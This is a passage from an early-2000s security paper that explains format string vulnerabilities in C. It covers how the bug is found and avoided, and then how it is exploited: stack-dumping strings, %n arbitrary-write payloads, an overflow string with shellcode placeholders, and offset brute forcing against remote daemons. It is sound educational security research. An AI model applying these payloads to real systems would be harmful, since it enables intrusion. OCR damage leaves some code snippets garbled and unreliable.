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1 Introduction

This article explains the nature of a phenomenon that has shocked the secu-
rity community in the second half of the year 2000. Known as ‘format string
vulnerabilities’, a whole new class of vulnerabilities has been disclosed and
caused a wave of exploitable bugs being discovered in all kinds of programs,
ranging from small utilities to big server applications.

The article will try to explain the structure of the vulnerability and later
use this knowledge to build sophisticated exploits. It will show you how to
discover format string vulnerabilities in C source code, and why this new
kind of vulnerability is more dangerous than the common buffer overflow
vulnerability.

The article is based on a german speech I gave at the 17th Chaos Commu-
nication Congress [2] in Berlin, Germany. After the speech I got numerous
requests to translate it and received a lot of positive feedback. All this mo-
tivated me to revise the document, update and correct details and to do a
more useable IATEX version of it.

This article covers most of the things mentioned in other articles, plus
a few more tricks and twirks when it comes to exploitation. It is up to
date yet, and feedback is welcome. So after you have read it please send me
feedback, ideas and anything else non-harassive to scut@team-teso.net.

The first part of the article deals with the history and awareness of format
string vulnerabilities, followed by details how to discover and avoid such
vulnerabilities in source code. Then some basic techniques are developed
to play with this vulnerabilities, from which a mighty exploitation method
arises. This method is then modified, improved and practically applied for
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special situations to allow you to exploit nearly any kind of format string
vulnerability seen until today.

As with every vulnerability it was developed over time, and new tech-
niques have shown up, often because old ones did not work in a certain
situation. People, who truly deserve credit for a lot of techniques men-
tioned in this articles and have influenced my writing significantly are tf8,
who wrote the first format string exploit ever, portal, who developed and
researched exploitability in his excellent article [3], DiGiT, who found most
of the critical remote format string vulnerabilities known today, and smiler,
who developed sophisticated brute force techniques.

Although I have contributed some tricks too, without the giant help,
comments and tricks - both theoretically or in form of an exploit - shown to
me by this people, this article would not have been possible. Thanks. I also
thank the numerous individuals who commented, reviewed and improved
this article.

Updated and corrected versions may appear on the TESO Security Group
homepage [1].

1.1 Buffer Overflows vs. Format String Vulnerabilities

Since nearly all critical vulnerabilities in the past were some kind of buffer
overflows, one could compare such a serious and low level vulnerability to
this new type of vulnerabilities.

Buffer Overflow Format String
public since mid 1980’s June 1999
danger realized 1990’s June 2000
number of exploits | a few thousand a few dozen
considered as security threat programming bug
techniques evolved and advanced basic techniques
visibility sometimes very difficult to spot | easy to find

1.2 Statistics: important format string vulnerabilities in 2000

To underline the dangerous impact format string vulnerabilities had for the
year 2000, we list the most exploited publicized vulnerabilities here.
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Application Found by Impact years
wu-ftpd 2.* security.is remote root | > 6
Linux rpc.statd security.is remote root | > 4
IRIX telnetd LSD remote root | > 8
Qualcomm Popper 2.53 | security.is remote user | > 3
Apache + PHP3 security.is remote user | > 2
NLS / locale CORE SDI local root ?
screen Jouko Pynnonen | local root > 95
BSD chpass TESO local root ?
OpenBSD fstat ktwo local root ?

There are still a lot of unknown or undisclosed vulnerabilities left at the
time of writing, and for the next two or three years format string vulnerabili-
ties will contribute to the statistics of new vulnerabilities that are found. As
we will see, they are easy to discover automatically with more sophisticated
tools, and you can assume that for most of the vulnerabilities in todays code
which are not yet publicly known, an exploit already exist.

There are also ways to discover this type of vulnerability in applications,
that are available as binaries only. To do this a more generic approach to
find ‘argument deficiencies’ is used and explained in detail in Halvar Flakes
excellent binary auditing speech [0].

2 The format functions

A format function is a special kind of ANSI C function, that takes a variable
number of arguments, from which one is the so called format string. While
the function evaluates the format string, it accesses the extra parameters
given to the function. It is a conversion function, which is used to represent
primitive C data types in a human readable string representation. They are
used in nearly any C program, to output information, print error messages
or process strings.

In this chapter we will cover typical vulnerabilities in the usage of for-
mat functions, the correct usage, some of their parameters and the general
concept of a format string vulnerability.

2.1 How does a format string vulnerability look like ?

If an attacker is able to provide the format string to an ANSI C format
function in part or as a whole, a format string vulnerability is present. By
doing so, the behaviour of the format function is changed, and the attacker
may get control over the target application.

In the examples below, the string user is supplied by the attacker — he
can control the entire ASCIIZ-string, for example through using a command
line parameter.
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Wrong usage:

int
func (char *user)
{
printf (user);
}
Ok:
int
func (char *user)
{
printf ("%s", user);
}

2.2 The format function family

A number of format functions are defined in the ANSI C definition. There
are some basic format string functions on which more complex functions
are based on, some of which are not part of the standard but are widely
available.

Real family members:

fprintf — prints to a FILE stream

e printf — prints to the ‘stdout’ stream

e sprintf — prints into a string

e snprintf — prints into a string with length checking

e viprintf — print to a FILE stream from a va_arg structure
e vprintf — prints to ‘stdout’ from a va_arg structure

e vsprintf — prints to a string from a va_arg structure

e vsnprintf — prints to a string with length checking from a va_arg
structure

Relatives:
e setproctitle — set argv[]
e syslog — output to the syslog facility

e others like err*, verr*, warn®, vwarn*®
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2.3 Use of format functions

To understand where this vulnerability is common in C code, we have to
examine the purpose of format functions.
Functionality

e used to convert simple C datatypes to a string representation

e allow to specify the format of the representation

e process the resulting string (output to stderr, stdout, syslog, ...)
How the format function works

e the format string controls the behaviour of the function

e it specifies the type of parameters that should be printed

e parameters are saved on the stack (pushed)

e saved either directly (by value), or indirectly (by reference)

The calling function

e has to know how many parameters it pushes to the stack, since it has
to do the stack correction, when the format function returns

2.4 What exactly is a format string ?

A format string is an ASCIIZ string that contains text and format parame-
ters.
Example:

printf ("The magic number is: %d\n", 1911);

The text to be printed is “The magic number is:”, followed by a format
parameter ‘%d’, that is replaced with the parameter (1911) in the output.
Therefore the output looks like: The magic number is: 1911.

Some format parameters:

parameter | output passed as
hd decimal (int) value
Al unsigned decimal (unsigned int) value
hx hexadecimal (unsigned int) value
hs string ((const) (unsigned) char *) reference
n number of bytes written so far, (* int) | reference

The ‘\’ character is used to escape special characters. It is replaced
by the C compiler at compile-time, replacing the escape sequence by the
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appropiate character in the binary. The format functions do not recognize
those special sequences. In fact, they do not have anything to do with the
format functions at all, but are sometimes mixed up, as if they are evaluated
by them.

Example:

printf ("The magic number is: \x25d\n", 23);

The code above works, because ‘\x25’ is replaced at compile time with
‘%, since 0x25 (37) is the ASCII value for the percent character.

2.5 The stack and its role at format strings

The behaviour of the format function is controlled by the format string. The
function retrieves the parameters requested by the format string from the
stack.

printf ("Number %d has no address, number %d has: ’%08x\n", i, a, &a);

From within the printf function the stack looks like:

stack top
<&a>
<a>

<i>

A

stack bottom

where:

A | address of the format string
i value of the variable i

a value of the variable a

&a | address of the variable i

The format function now parses the format string ‘A’, by reading a
character a time. If it is not ‘%’, the character is copied to the output. In
case it is, the character behind the ‘%’ specifies the type of parameter that
should be evaluated. The string “%%” has a special meaning, it is used to
print the escape character ‘%’ itself. Every other parameter relates to data,
which is located on the stack.
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3 Format string vulnerabilities

The generic class of a format string vulnerability is a ‘channeling problem’.
This type of vulnerability can appear if two different types of information
channels are merged into one, and special escape characters or sequences
are used to distinguish which channel is currently active. Most of the times
one channel is a data channel, which is not parsed actively but just copied,
while the other channel is a controlling channel.

While this is not a bad thing in itself, it can quickly become a horrible
security problem if the attacker is able to supply input that is used in one
channel. Often there are faulty escape or de-escape routines, or they oversee
a level, such as in format string vulnerabilities. So to put it short: Channel-
ing problems are no security holes itself, but they make bugs exploitable.

To illustrate the general problem behind this, here is a table of common
channeling problems:

Situation Data channel | Controlling channel | Security problem
Phone systems | Voice or data | Control tones seize line control

PPP Protocol | Transfer data | PPP commands traffic amplification
Stack Stack data Return addresses control of retaddr
Malloc Buffers | Malloc data Management info write to memory
Format strings | Output string | Format parameters | format function control

Back to the specific format string vulnerabilities, there are two typical
situations, where format string vulnerabilities can arise:

Type 1 (as in Linux rpc.statd, IRIX telnetd). Here the vulnerability lies
in the second parameter to the syslog function. The format string is partly
usersupplied.

char tmpbuf [512];
snprintf (tmpbuf, sizeof (tmpbuf), "foo: %s", user);
tmpbuf [sizeof (tmpbuf) - 1] = ’\0’;

syslog (LOG_NOTICE, tmpbuf);

Type 2 (as in wu-ftpd, Qualcomm Popper QPOP 2.53). Here a partly
or completely usersupplied string is passed indirectly to a format function.

int Error (char *fmt, ...);

int someotherfunc (char *user)

{
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Error (user);

While vulnerabilities of the first type are safely detected by automated
tools (for example pscan or TESOgcc), vulnerabilities of the second type
can only be found if the tool is told that the function ‘Error’ is used like a

format function.

3.1 What do we control now ?

Through supplying the format string we are able to control the behaviour
of the format function. We now have to examine what exactly we are able
to control, and how to use this control to extend this partial control over
the process to full control of the execution flow.

3.2 Crash of the program

A simple attack using format string vulnerabilities is to make the process
crash. This can be useful for some things, for example to crash a daemon
that dumps core and there may be some useful data within the coredump.
Or in some network attacks it is useful to have a service not responding, for
example when DNS spoofing.

However, there may be some interest in crashing the process. At nearly
all UNIX systems illegal pointer accesses are caught by the kernel and the
process will be send a SIGSEGV signal. Normally the program is terminated
and dumps core.

By utilizing format strings we can easily trigger some invalid pointer
access by just supplying a format string like:

printf ("%skhshshshshshshshshshshs");

Because ‘/s’ displays memory from an address that is supplied on the
stack, where a lot of other data is stored, too, our chances are high to read
from an illegal address, which is not mapped. Also most format function
implementations offer the ‘%n’ parameter, which can be used to write to the
addresses on the stack. If that is done a few times, it should reliably produce
a crash, too.

'However, you can automate the process of identifying the extra format functions and
their parameters within the sourcecode, so all in all the process of finding format string
vulnerabilities can work completely automatically. You can even generalize, that if there
is such tool that does this and it does not find a format string vulnerability in your source
code, then your source code is free from having any of such vulnerabilities. This is not
the case with buffer overflows, where even manual auditing by experienced auditors can
miss vulnerabilities and there are no reliable ways to automatically check for them.
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3.3 Viewing the process memory

If we can see the reply of the format function — the output string —, we can
gather useful information from it, since it is the output of the behaviour we
control, and we can use this results to gain an overview of what our format
string does and how the process layout looks like. This can be useful for
various things, such as finding the correct offsets for the real exploitation or
just reconstructing the stack frames of the target process.

3.3.1 Viewing the stack

We can show some parts of the stack memory by using a format string like
this:

printf ("%08x.%08x.%08x.%08x.%08x\n") ;

This works, because we instruct the printf-function to retrieve five pa-
rameters from the stack and display them as 8-digit padded hexadecimal
numbers. So a possible output may look like:

40012980.080628c4 .bfff£7a4.00000005.08059c04

This is a partial dump of the stack memory, starting from the current
bottom upward to the top of the stack — assuming the stack grows towards
the low addresses. Depending on the size of the format string buffer and the
size of the output buffer, you can reconstruct more or less large parts of the
stack memory by using this technique. In some cases you can even retrieve
the entire stack memory.

A stack dump gives important information about the program flow and
local function variables and may be very helpful for finding the correct offsets
for a successful exploitation.

3.3.2 Viewing memory at any location

It is also possible to peek at memory locations different from the stack
memory. To do this we have to get the format function to display memory
from an address we can supply. This poses two problems to us: First, we
have to find a format parameter which uses an address (by reference) as
stack parameter and displays memory from there, and we have to supply
that address. We are lucky in the first case, since the ‘)s’ parameter just
does that, it displays memory — usually an ASCIIZ string — from a stack-
supplied address. So the remaining problem is, how to get that address on
the stack, into the right place.
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Our format string is usually located on the stack itself, so we already
have near to full control over the space, where the format string lies. 2
The format function internally maintains a pointer to the stack location
of the current format parameter. If we would be able to get this pointer
pointing into a memory space we can control, we can supply an address to
the ‘%s’ parameter. To modify the stack pointer we can simply use dummy
parameters that will ‘dig’ up the stack by printing junk:

printf ("AAAOAAA1_%08x.%08x.7%08x.%08x.%08x") ;

The ‘%08x’ parameters increase the internal stack pointer of the format
function towards the top of the stack. After more or less of this increasing
parameters the stack pointer points into our memory: the format string
itself. The format function always maintains the lowest stack frame, so if
our buffer lies on the stack at all, it lies above the current stack pointer for
sure. If we choose the number of ‘%08x’ parameters correctly, we could just
display memory from an arbitrary address, by appending ‘%s’ to our string.
In our case the address is illegal and would be ‘AAAO’. Lets replace it with
a real one.

Example:

address = 0x08480110
address (encoded as 32 bit le string): "\x10\x01\x48\x08"

printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|");

Will dump memory from 0x08480110 until a NUL byte is reached. By
increasing the memory address dynamically we can map out the entire pro-
cess space. It is even possible to create a coredump like image of the remote
process and to reconstruct a binary from it [13]. It is also helpful to find the
cause of unsuccessful exploitation attempts.

If we cannot reach the exact format string boundary by using 4-Byte
pops (‘%08x’), we have to pad the format string, by prepending one, two or
three junk characters. ® This is analog to the alignment in buffer overflow
exploits.

3.4 Overwriting of arbitrary memory

The holy grail of exploitation is to take control of the instruction pointer
of a process. In most cases the instruction pointer (often named IP or

2In this case we will assume that we have full control over the whole string. We will
later see, that also partial control, filtered characters, NUL-byte containing addresses and
similar problems are no matter when exploiting format string vulnerabilities

3We can not move the stack pointer byte-wise, instead we move the format string itself,
so that it lies on a four-byte boundary to the stack pointer and we can reach it with a
multiple of four-byte pops
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PC) is a register in the CPU and cannot be modified directly, since only
machine instructions can change it. But if we are able to issue those machine
instructions we already need to have control. So we cannot directly take
control over the process. Normally, the process has more priveledges than
the ones the attacker currently has.

Instead we have to find instructions that modify the instruction pointer
and take influence on how these instructions modify it. This sounds com-
plicated, but in most cases it is pretty easy, since there are instructions that
take a instruction pointer from the memory and jump to it. So in most
cases control over this part of the memory, where an instruction pointer is
stored, is the precessor to control over the instruction pointer itself. This is
how most buffer overflows work:

In a two-stage process, first a saved instruction pointer is overwritten and
then the program executes a legitimate instruction that transfers control to
the attacker-supplied address.

We will examine different ways to accomplish this using format string
vulnerabilities.

3.4.1 Exploitation - similar to common buffer overflows

Format string vulnerabilities sometimes offer a way around buffer length
limitations and allow exploitation that is similar to common buffer overflows.
Code like the one below appears in QPOP 2.53 and bftpd:

{
char outbuf [512] ;
char buffer[512];
sprintf (buffer, "ERR Wrong command: %400s", user);
sprintf (outbuf, buffer);
}

Such cases are often hidden deep inside reallife code and are not that
obvious as shown in the example above. By supplying a special format
string, we are able to circumvent the ‘%400s’ limitation:

"%497d\x3c\xd3\xff\xbf<nops><shellcode>"

Everything is similar to a normal buffer overflow exploit string, just
the beginning — the “%497d” — is different. In normal buffer overflows
we overwrite the return address of a function frame on the stack. As the
function that owns this frame returns, it returns to our supplied address.
The address points to somewhere within the “<nop>” space. There are good
articles describing this method of exploitation and if this example is not fully
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clear to you yet, you should consider reading an introductionary article, such
as [7], first.

It creates a string that is 497 characters long. Together with the error
string (“ERR Wrong command: ”) this exceeds the outbuf buffer by four
bytes. Although the ‘user’ string is only allowed to be as long as 400 bytes,
we can extend its length by abusing format string parameters. Since the
second sprintf is not checking the length, this can be used to break out
of the boundaries of outbuf. Now we write a return address (0xbfffd33c)
and exploit it just the old known way, as we would do it with any buffer
overflow. While any format parameter that allows ‘stretching’ the original
format string, such as “%504”, “%50f” or “%50s” will do, it is desireable
to choose a parameter that does not dereference a pointer or may cause a
division by zero. This rules out “%f” and “%s”. We are left with the integer
output parameters: “%d”, “%u” and “%x”.

The GNU C library contains a bug, that results in a crash if you use
parameters like ‘%nd’ with n greater than 1000. This is one way to determine
the existance of the GNU C library remotely. If you use ‘%.nd’ it works
properly, except if very high values are used. For an in-depth discussion
about the length you can use in ‘%nd’ and ‘%.nd’ see portals article [3].

3.4.2 Exploitation - through pure format strings

If we have no possible way to apply the simple exploitation method just
mentioned, we can still exploit the process. By doing so we extend our very
limited control — the ability to control the behaviour of the format function
— to real execution control, that is executing our raw machine code. Look
at code like it is found in wu-ftpd 2.6.0 and below:

{
char buffer([512];
snprintf (buffer, sizeof (buffer), user);
buffer([sizeof (buffer) - 1] = ’\0’;

}

In the code above it is not possible to enlarge our buffer by inserting
some kind of ‘stretching’ format parameter, because the program uses the
secure snprintf function to assure we will not be able to exceed the buffer.
At first it may look as if we cannot do much useful things, except crashing
the program and inspecting some memory.

Lets remember the format parameters mentioned. There is the ‘Y%n’
parameter, which writes the number of bytes already printed, into a variable
of our choice. The address of the variable is given to the format function by
placing an integer pointer as parameter onto the stack.
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int i;

printf ("foobarn\n", (int *) &i);
printf ("i = %d\n", 1i);

Would print “i = 6”7. With the same method we used above to print
memory from arbitrary addresses, we can write to arbitrary locations:

"AAAO_%08x.%08x.%08x.%08x%.%08x.%n"

With the ‘%08x’ parameter we increase the internal stack pointer of the
format function by four bytes. We do this until this pointer points to the
beginning of our format string (to ‘AAA0’). This works, because usually
our format string is located on the stack, on top of our normal format
function stack frame. The ‘%n’ writes to the address 0x30414141, that is
represented by the string “AAA0”. Normally this would crash the program,
since this address is not mapped. But if we supply a correct mapped and
writeable address this works and we overwrite four bytes (sizeof (int))
at the address:

"\xcO\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n"

The format string above will overwrite four bytes at 0xbfffc8c0 with a
small integer number. We have reached one of our goals: we can write to
arbitrary addresses. But we cannot control the number we are writing yet
— but this will change.

The number we are writing — the count of characters written by the
format function — is dependant on the format string. Since we control the
format string, we can at least take influence on this counter, by writing more
or less bytes:

int a;
printf ("%10u¥n", 7350, &a);
/* a == 10 */

int a;
printf ("%150u¥n", 7350, &a);
/* a == 150 */

By using a dummy parameter ‘%nu’ we are able to control the counter
written by ‘%n’, at least a bit. But for writing large numbers — such as
addresses — this is not sufficient, so we have to find a way to write arbitrary
data.

An integer number on the x86 architecture is stored in four bytes, which
are little-endian ordered, the least significant byte being the first in memory.
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So a number like 0x0000014c is stored in memory as: “\x4c\x01\x00\x00".
For the counter in the format function we can control the least significant
byte, the first byte stored in memory by using dummy ‘%nu’ parameters to
modify it.

Example:

unsigned char fool4];
printf ("%64u)n", 7350, (int *) foo);

When the printf function returns, foo[0] contains ‘\x40’, which is equal
to 64, the number we used to increase the counter.

But for an address, there are four bytes that we have to control com-
pletely. If we are unable to write four bytes at once, we can try to write a
byte a time for four times in a row. On most CISC architectures it is possi-
ble to write to unaligned arbitrary addresses. This can be used to write to
the second least significant byte of the memory, where the address is stored.
This looks like:

unsigned char canary[5];
unsigned char fool[4];

memset (foo, ’\x00’, sizeof (foo0));
/* 0 * before */ strcpy (canary, "AAAA");

/* 1 *%/ printf ("%16u%n", 7350, (int *) &foo[0]);
/* 2 %/ printf ("%32u%n", 7350, (int *) &fool[ll);
/* 3 */ printf ("%64u)n", 7350, (int *) &fool[2]);
/* 4 x/ printf ("%128un", 7350, (int *) &fool[3]);

/* 5 x after */ printf ("%02x%02x%02x%02x\n", foo[0], fool[l],
foo[2], fool3]);

printf ("canary: %02x%02x%02x%02x\n", canary[0],
canary[1], canary[2], canary[3]);

Returns the output “10204080” and “canary: 00000041”. We over-
write four times the least significant byte of an integer we point to. By
increasing the pointer each time, the least significant byte moves through
the memory we want to write to, and allows us to store completely arbitrary
data.

As you can see in the first row of the figure 1, all eight bytes are not
touched yet by our overwrite code. From the second row on we trigger
four overwrites, shifted by one byte to the right for every step. The last
row shows the final desired state: we overwrote all four bytes of our foo
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Figure 1: Four stage overwrite of an address

| 00 00 00 00| | 41 41 41 41 00| before

10 00 00 00 | | 41 41 41 41 00|

0o | | 0041 41 41 00|

10 20 40 | 00 00 00|41 00 |

10 20 40 80 | | 00 00 00[41 00| afte

0
1
2
3 00| [ 00 00|41 41 00|
4
5

array, but while doing so, we destroyed three bytes of the canary array. We
included the canary array just to see that we are overwriting memory we
do not want to.

Although this method looks complex, it can be used to overwrite arbi-
trary data at arbitrary addresses. For explanation we have only used one
write per format string until now, but it is also possible to write multiple
times within one format string:

strcpy (canary, "AAAA");

printf ("%16uln%l6u¥ni32uink64uln",
1, (int *) &foo[0], 1, (int *) &fool[l],
1, (int *) &foo[2], 1, (int *) &fool[3]);

printf ("%02x%02x%02x%02x\n", fool[0], foo[1l],
foo[2], fool31);

printf ("canary: %02x%02x%02x%02x\n", canary[0],
canary[1], canary[2], canary[3]);

We use the ‘1’ parameters as dummy arguments to our ‘%u’ paddings.
Also, the padding has changed, since the counter of the characters is already
at 16 when we want to write 32. So we only have to add 16 characters instead
of 32 to it, to get the results we desire.

This was a special case, in which all the bytes increased throughout the
writes. But we could also write 80 40 20 10 with only a minor modifica-
tion. Since we write integer numbers and the order is little endian, only the
least significant byte is important in the writes. By using counters of 0x80,
0x140, 0x220 and 0x310 characters respectivly when “%n” is triggered, we
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can construct the desired string. The code to calculate the desired number-
of-written-chars counter is this:

write_byte += 0x100;
already_written %= 0x100;
padding = (write_byte - already_written) % 0x100;
if (padding < 10)
padding += 0x100;

Where ‘write_byte’ is the byte we want to create, ‘already_written’
is the current counter of written bytes the format function maintains and
‘padding’ is the number of bytes we have to increase the counter with.
Example:

write_byte = 0x7f;
already_written = 30;

write_byte += 0x100; /* write_byte is 0x17f now */
already_written %= 0x100; /* already_written is 30 */

/* afterwards padding is 97 (= 0x61) */
padding = (write_byte - already_written) % 0x100;
if (padding < 10)

padding += 0x100;

Now a format string of “%97u” would increase the ‘Yn’-counter, so that
the least significant byte equals ‘write_byte’. The final check if the padding
is below ten deserves some attention. A simple integer output, such as “%u”
can generate a string of a length up to ten characters, depending on the
integer number it outputs.” If the required length is larger than the padding
we specify, say we want to output ‘1000’ with a “%2u”, our value will be
dropped in favor to not losing any meaningful output. By ensuring our
padding is always larger than 10, we can keep an always accurate number
of ‘already_written’, the counter the format function maintains, since we
always write exactly as much output bytes as specified with the length option
in the format parameter.

The only remaining thing to exploit such vulnerabilities in a hands-on
practical way is to put the arguments into the right order on the stack and
use a stackpop sequence to increase the stack pointer. It should look like:

A
<stackpop><dummy-addr-pair * 4><write-code>

4This depends on the default wordsize of the system the format function runs on. We
assume an ILP32 based architecture here.
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stackpop The sequence of stack popping parameters that increase the stack
pointer. Once the stackpop has been processed, the format function
internal stack pointer points to the beginning of the dummy-addr-pair
strings.

dummy-addr-pair Four pairs of dummy integer values and addresses to
write to. The addresses are increasing by one with each pair, the
dummy integer value can be anything that does not contain NUL bytes.

write-code The part of the format string that actually does the writing
to the memory, by using ‘%nu¥n’ pairs, where n is greater than 10.
The first part is used to increase or overflow the least significant byte
of the format function internal bytes-written counter, and the ‘%n’
is used to write this counter to the addresses that are within the
dummy-addr-pair part of the string.

The write code has to be modified to match the number of bytes written
by the stackpop, since the stackpop wrote already characters to the output
when the format function parses the write-code — the format function
counter does not start at zero, and this has to be considered.

The address we are writing to is called Return Address Location, short
retloc, the address we create with our format string at this place is called
the Return Address, short retaddr.

4 Variations of Exploitation

Exploitation is an art. Like in any art there is more then one way to accom-
plish things. Often you do not want to go the well trodden way of exploiting
things, but take advantage of your target environment, experimenting, dis-
covering and using existing behaviours in the program. This extra effort
can repay in a lot of things, the first being the reliability and robustness of
your exploit. Or if only one platform or system is affected by a vulnerability
you can take advantage of the special system features to find a shortcut
to exploit. There are a lot of things that can be used, this is just a basic
overview of common techniques.

4.1 Short Write

Instead of writing four times it is also possible to overwrite an address with
just two write operations. This is possible through the normal ‘%n’ operation
and ‘Y%nu’-strings with large ‘n’ values. But for this special case we can take
advantage of a special write operation, which writes short int types: the ‘%hn’
parameter. The ‘h’ can be used in other format parameters too, to cast the
value supplied on the stack to a short type. The short write technique has
one advantage over the first technique: It does not destroy data beside the
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address, so if there is valueable data behind the address you are overwriting,
such as a function parameter, it is preserved.

But in general you should avoid it, although it is supported by most C
libraries: it is dependant on the behaviour of the format function, namely
if the internal counter of written chars can exceed the buffer boundary.
This does not work on old GNU C libraries (libc5). Also it consumes more
memory in the target process.

printf ("%.29010u%hn%.32010u%hn",
1, (short int *) &foo[O],
1, (short int *) &fool[2]);

This is especially useful for RISC based systems, which have alignment
restrictions for the ‘%n’ directive. By using the short qualifier the alignment
is emulated either in software or special machine instructions are used, and
you can usually write on every two byte boundary.

Beside that it works exactly like the four byte technique. Some people
even say it is possible to do the write in one shot, by using especially large
paddings, such as ‘%.3221219073u’. But practice has shown that it does not
work on most systems. A in-depth analysis of this theme was first shown in
portal’s article [3]. Some other nice notes can be found in an early released
HERT paper [4].

4.2 Stack Popping

A problem can arise if the format string is too short to supply a stack
popping sequence that will reach your own string. This is a race between
the real distance to your format string and the size of the format string, in
which you have to pop at least the real distance. So there is a demand for an
effective method to increase the stack pointer with as few bytes as possible.

Currently we have used only ‘%u’ sequences, to show the principle, but
there are more effective methods. A ‘%u’ sequence is two bytes long and
pops four bytes, which gives a 1:2 byte ratio (we invest 1 byte to get 2 bytes
ahead).

Through using the ‘%f’ parameter we even get 8 bytes ahead in the
stack, while only investing two bytes. But this has a huge drawback, since
if garbage from the stack is printed as floating point number, there may be
a division by zero, which will crash the process. To avoid this we can use
a special format qualifier, which will only print the integer part of the float
number: ‘%.f” will walk the stack upwards by eight bytes, using only three
bytes in our buffer.

Under BSD derivates and IRIX, it is possible to abuse the ‘*’-qualifier
for our purposes. It is used to dynamically supply the length of the output a
format parameter will produce. While ‘%104’ prints 10 characters, the ‘%*d’
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retrieves the length of the output dynamically: the next format parameter on
the stack supplies it. Because the LibC’s mentioned above allow parameters
of the type ‘%x**x*xxxxd’, we can pull four bytes per ‘*’, which relates to a
four-by-one ratio. This creates another problem though: we cannot predict
the output length in most cases, since it is set dynamically from the stack
content.

But we can override the dynamic specification by issuing a hardcoded
value behind all starts: ‘Yx***xxx*x10d” will always print 10 bytes, no matter
what was peeked from the stack before. Those tricks were discovered by
lorian.

4.3 Direct Parameter Access

Beside improving the stack popping methods, there is a huge simplification
which is known as ‘direct parameter access’, a way to directly address a
stack parameter from within the format string. Almost all currently in use
C libraries do support this features, but not all are useable to apply this
method to format string exploitation.

The direct parameter access is controlled by the ‘$’ qualifier:

printf ("%6$d\n", 6, 5, 4, 3, 2, 1);

Prints ‘1’, because the ‘6$’ explicitly addresses the 6th parameter on the
stack. Using this method the whole stack pop sequence can be left out.

char foo[4];

printf ("%1$16ul%2$n"
"%1$16u%3%$n"
"%1$32u%4$n"
"%1$64u%5%n",
1,
(int *) &foo[0], (int *) &foo[il],
(int *) &foo[2], (int *) &fool[3]);

Will create “\x10\x20\x40\x80” in foo. This direct access is limited to
only the first eight parameters on BSD derivates, except IRIX. The Solaris
C Library limits it to the first 30 parameters, as shown in portals paper [3].
If you choose negative or huge values intending to access stack parameters
below your current positions it will not produce the expected result but
crash.

Although it simplifies the exploitation a lot, you should use the stackpop
techniques whenever possible, since it makes your exploit more portable. If
the bug you want to exploit exists only on one platform which allows this
method, you can of course take advantage of it (for example the IRIX telnet
daemon exploit by LSD [21] does this).
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5 Brute Forcing

When exploiting a vulnerability such as a buffer overflow or a format string
vulnerability it often fails because the last hurdle was not taken care of: to
get all offsets right. Basically finding the right offsets means ‘what to write
where’. For simple vulnerabilities you can reliably guess the correct offsets,
or just brute force it, by trying them one after another. But as soon as you
need multiple offsets this problem increases exponentially, it turns out to be
impossible to brute force.

With format strings this problem only appears if you are exploiting a
daemon or any program which will offer you only one try. As soon as you
have multiple tries or you can see the response of the format string it is
possible, although not trivial to find all the necessary offsets.

This is possible because we already have limited control over the target
process before we completely take it over: our format string already directs
the remote process what to do, enabling us to peek in the memory or test
certain behaviours.

Since the two methods explained here differ so much, they are explained
seperatly.

5.1 Response Based Brute Force

Taking advantage of seeing the printed format reply was first observed in
the most popular format string exploit for wu-ftpd 2.6.0 by tf8. He used the
reply to determine the distance.

Smiler and myself developed this technique further to determine the two
other addresses, the return address ‘retaddr’ and the return address location
‘retloc’ and used it to build a completely offset independant wu-ftpd exploit
(7350wu [22]).

To brute the distance, you should use a format string like this:

"AAAABBBB|stackpop|%08x|"

The stackpop depends on the distance we want to guess. The distance
is increased for every try:

while (distance > 0) {
strcat (stackpop, "%u");
distance -= 4;

If we probe a distance of 32, the format string would look like:

"AAAABBBB | fufuuliudbuuluul %08x | "
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We pop 32 bytes from the stack (8 * “%u”) and print the four bytes at the
32th byte from the stack hexadecimal. In the ideal case the output would
look like:

AAAABBBB|983217938177639561760134608728913021 41414141 |

‘41414141’ is the hexadecimal representation of ‘AAAA’, we have hit the
exact distance of 32 bytes. If you cannot reach this pattern by increasing
the distance this can have two reasons: either the distance is too big to
be reached, for example if the format string is located on the heap, or the
alignment is not on a four byte boundary. In the latter case, we just have
to prepend the format string with one to three dummy bytes. Then we
can slide the string position, so that the pattern ‘42414141’ becomes to the
correct pattern ‘41414141’.

Once you have the alignment and the distance you can start brute forcing
the format string buffer address. Therefore you use a format string like this:

addr | stackpopl| YAVAE

The format string is processed from the left to the right, the ‘addr’ and
the ‘___’ sequence will not do anything harmful. The ‘stackpop’ moves the
stack pointer upward until it points to the ‘addr’ address. Finally, the ‘%s’
now prints the ASCIIZ string from ‘addr’.

In the ideal case ‘addr’ would point into the ‘___’ sequence of our format

string. In this case the output would look like:

garbage | /) P— hhl%s ||

Where ‘garbage’ consists out of the ‘addr’ and ‘stackpop’ output. Then
the processed ‘___%%’ string is converted to ‘___%’, as the ‘%%’ is converted to
‘%’ by the format processing. Then the string ‘______ %%h1%s |’ is inserted as
the ‘%s’ of our supplied format string is processed. Note that this is the only
thing that varies as we try different values for ‘addr’. In our ideal case we
used an ‘addr’ that points directly into our buffer. As you can see, through
looking at the ‘%%’ we can distinguish between addresses that point into our
format string (those have two ‘%’ characters) and addresses that accidently
point into the target buffer (which have only one ‘)’ character, since it was
converted by the format function).

If ‘addr’ hits into the target buffer, the output looks like:

garbagel| ___________________________ Bl _ AR

As you can see, only one ‘%’ is visible. This allows us to exactly predict
the target buffer address, which can be useful for situations where the format
string buffer is in the heap itself.
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Because we know where our ‘%s’ was located relativly to our format string
start, and we have an address that points into our buffer, we can relocate the
address so that we exactly know at what address our format string starts.
Since you usually want to put your shellcode into the format string, too,
you can exactly calculate the retaddr relative to the format string address.

5.2 Blind Brute Forcing

Blind brute forcing is not as straight forward as response based brute forcing
is. The basic idea is that we can measure the time it takes for the remote
computer to process the format string. A string like “%.9999999u” takes
longer than a simple “%4u”. Also, we can reliably produce segmentation faults
by using “%n” on an unmapped address.

The basic approach for this kind of brute forcing was invented by tf8,
later improved by myself to also brute force the buffer addresses.

Since this attack is relativly complex and only useful for special situa-
tions, I supplied a working example in the example/ directory. It is inter-
esting if you can trigger the vulnerability multiple times, but you do not see
the response of the format function, such as in a service that syslogs.

If you are interested in this technique, look at the sources, I ommited a
description here, sorry.

6 Special Cases

There are certain situations where you can take advantage of the situation,
do not have to know all offsets or you can make the exploitation simpler,
more straight forward and most important: reliable. I have listed a few
common approaches to exploiting format string vulnerabilities here.

6.1 Alternative targets

Influenced through the long history of stack based buffer overflows, a lot of
people think that overwriting the return address stored on the stack is the
only way to seize control over the process. But if we exploit a format string
vulnerability we do not exactly know where our buffer is and there are alter-
